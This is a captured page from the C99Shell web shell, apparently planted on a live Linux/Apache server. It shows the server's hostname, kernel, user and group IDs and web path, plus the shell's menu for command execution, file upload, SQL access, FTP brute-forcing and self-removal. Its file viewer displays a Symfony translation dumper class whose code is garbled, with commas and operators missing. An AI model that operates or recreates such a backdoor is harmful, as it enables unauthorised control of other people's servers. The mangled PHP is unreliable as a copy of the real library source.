!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/translation/Dumper/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IcuResFileDumper.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Dumper;

use 
Symfony\Component\Translation\MessageCatalogue;

/**
 * IcuResDumper generates an ICU ResourceBundle formatted string representation of a message catalogue.
 *
 * @author Stealth35
 */
class IcuResFileDumper extends FileDumper
{
    protected 
$relativePathTemplate '%domain%/%locale%.%extension%';

    public function 
formatCatalogue(MessageCatalogue $messagesstring $domain, array $options = []): string
    
{
        
$data $indexes $resources '';

        foreach (
$messages->all($domain) as $source => $target) {
            
$indexes .= pack('v'\strlen($data) + 28);
            
$data .= $source."\0";
        }

        
$data .= $this->writePadding($data);

        
$keyTop $this->getPosition($data);

        foreach (
$messages->all($domain) as $source => $target) {
            
$resources .= pack('V'$this->getPosition($data));

            
$data .= pack('V'\strlen($target))
                .
mb_convert_encoding($target."\0"'UTF-16LE''UTF-8')
                .
$this->writePadding($data)
            ;
        }

        
$resOffset $this->getPosition($data);

        
$data .= pack('v'\count($messages->all($domain)))
            .
$indexes
            
.$this->writePadding($data)
            .
$resources
        
;

        
$bundleTop $this->getPosition($data);

        
$root pack('V7',
            
$resOffset + (<< 28), // Resource Offset + Resource Type
            
6,                      // Index length
            
$keyTop,                        // Index keys top
            
$bundleTop,                     // Index resources top
            
$bundleTop,                     // Index bundle top
            
\count($messages->all($domain)), // Index max table length
            
0                               // Index attributes
        
);

        
$header pack('vC2v4C12@32',
            
32,                     // Header size
            
0xDA0x27,             // Magic number 1 and 2
            
20002,            // Rest of the header, ..., Size of a char
            
0x520x650x730x42// Data format identifier
            
1200,             // Data version
            
1400              // Unicode version
        
);

        return 
$header.$root.$data;
    }

    private function 
writePadding(string $data): ?string
    
{
        
$padding \strlen($data) % 4;

        return 
$padding str_repeat("\xAA"$padding) : null;
    }

    private function 
getPosition(string $data): float|int
    
{
        return (
\strlen($data) + 28) / 4;
    }

    protected function 
getExtension(): string
    
{
        return 
'res';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--